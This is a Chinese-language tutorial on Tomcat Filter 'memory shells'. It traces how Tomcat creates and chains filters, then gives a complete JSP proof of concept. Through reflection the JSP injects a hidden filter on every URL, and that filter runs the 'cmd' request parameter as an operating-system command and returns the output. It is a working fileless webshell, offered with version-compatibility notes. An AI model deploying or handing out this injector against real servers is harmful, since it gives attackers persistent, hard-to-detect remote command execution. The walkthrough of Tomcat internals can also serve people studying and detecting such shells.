Filter内存马
Filter样例:
package org.example.memoryshell;
import javax.servlet.*;
import java.io.IOException;
// 如果不想在web.xml中配置,也可以使用这样的注解配置
// @WebFilter(filterName = "FilterShell", urlPatterns = {"/*"})
public class FilterShell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("FilterShell init......");
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("FilterShell doFilter......");
}
@Override
public void destroy() {
System.out.println("FilterShell destroy......");
Filter.super.destroy();
}
}
pom.xml中的配置:
<filter>
<filter-name>FilterShell</filter-name>
<filter-class>org.example.memoryshell.FilterShell</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterShell</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Filter创建调用栈:
我们在Filter类的class、init、doFilter这三个地方打上断点分析:
standardcontext类的filterStart()方法:
public boolean filterStart() {
if (getLogger().isTraceEnabled()) {
getLogger().trace("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterDefs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isTraceEnabled()) {
getLogger().trace(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(throwable);
getLogger().error(sm.getString("standardContext.filterStart", name), throwable);
ok = false;
}
}
}
return ok;
}
这段主要就是将旧的filterConfigs清空,对filterDefs加锁后将里面的每一个 FilterDef(Filter 定义,包含 filter-name、filter-class、init-params 等,也就是我们在web.xml中配置的那个filterName)实例化为filterConfig再放进filterConfigs。
放开断点后可以看到初始化方法的调用:org.apache.catalina.core.ApplicationFilterConfig#initFilter
private void initFilter() throws ServletException {
if (context instanceof StandardContext && context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
filter.init(this);
} finally {
String capturedlog = SystemLogHandler.stopCapture();
if (capturedlog != null && !capturedlog.isEmpty()) {
getServletContext().log(capturedlog);
}
}
} else {
filter.init(this);
}
// Expose filter via JMX
registerJMX();
}
可以看到初始化必须要经过实例化为一个ApplicationFilterConfig 。因此我们就需要考虑构造filterDef将其放到filterDefs中,然后还有就是需要再根据filterDef生成一个ApplicationFilterConfig,然后写入到filterConfigs中。
我们再往下发现是org.apache.catalina.core.StandardWrapperValve#invoke调用org.apache.catalina.core.ApplicationFilterChain#doFilter再调用到我们创建的filter的dofilter。
我们看看StandardWrapperValve这个类中的invoke方法发现它是先调用ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);再filterChain.doFilter(request.getRequest(), response.getResponse());我们去看看org.apache.catalina.core.ApplicationFilterFactory#createFilterChain:
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
// 检查 Servlet 是否存在
if (servlet == null) {
return null;
}
// 创建或复用 ApplicationFilterChain 对象
ApplicationFilterChain filterChain;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}
//将目标 Servlet 实例设置到链中,当所有 Filter 执行完后,链会调用该 Servlet 的 service 方法。
//记录该 Wrapper 是否支持异步处理,供 Filter 链在执行过程中判断。
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
//通过 wrapper.getParent() 获取到 StandardContext(Wrapper 是 Servlet 包装器,其父级是 Context)。
//context.findFilterMaps() 返回该应用上下文中所有已注册的 FilterMap 对象数组。这些 FilterMap 定义了各个 Filter 的映射规则(URL 模式、Servlet 名称、调度类型)。
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
// 为空直接返回
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}
// 每个请求都会携带一个 DispatcherType,表示请求是如何到达的(如 REQUEST、FORWARD、INCLUDE、ERROR、ASYNC)。它存储在 request 的属性中,由 Tomcat 在调用链开始时设置。
//如果获取不到(异常情况),默认为 REQUEST 并记录警告。
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
if (dispatcher == null) {
dispatcher = DispatcherType.REQUEST;
log.warn(sm.getString("applicationFilterFactory.noDispatcherType"));
}
//获取请求路径和 Servlet 名称
String requestPath = FilterUtil.getRequestPath(request);
String servletName = wrapper.getName();
// 添加所有按 URL 匹配的 Filter
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}
// 添加按 Servlet 名称匹配的 Filter
//遍历所有 FilterMap。
//第一个检查 matchDispatcher:该 Filter 是否支持当前调度类型(如 REQUEST)。若不匹配则跳过。
//第二个检查 matchFiltersURL:判断请求路径是否匹配 Filter 映射中的 URL 模式(支持精确匹配、前缀匹配、后缀匹配等,如 /*、*.jsp)。
//若通过检查,则根据 FilterMap 中的 Filter 名称,从 StandardContext 的 filterConfigs Map 中查找对应的 ApplicationFilterConfig(已初始化的 Filter 实例)。
//如果 filterConfig 为空(理论上是配置错误),记录警告并跳过。
//最后将有效的 filterConfig 添加到 filterChain 中。
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
log.warn(sm.getString("applicationFilterFactory.noFilterConfig", filterMap.getFilterName()));
continue;
}
filterChain.addFilter(filterConfig);
}
// 返回
return filterChain;
}
可以注意到filterMaps[]存放的就是我们filter的url映射,即FilterName 和对应的URLPattern。
相关的数据结构:
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
POC:
<%--
Created by IntelliJ IDEA.
User: 15137
Date: 2024/11/29
Time: 14:33
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "y4tacker";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
这种注入filter内存马的方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
另外在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef:
<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>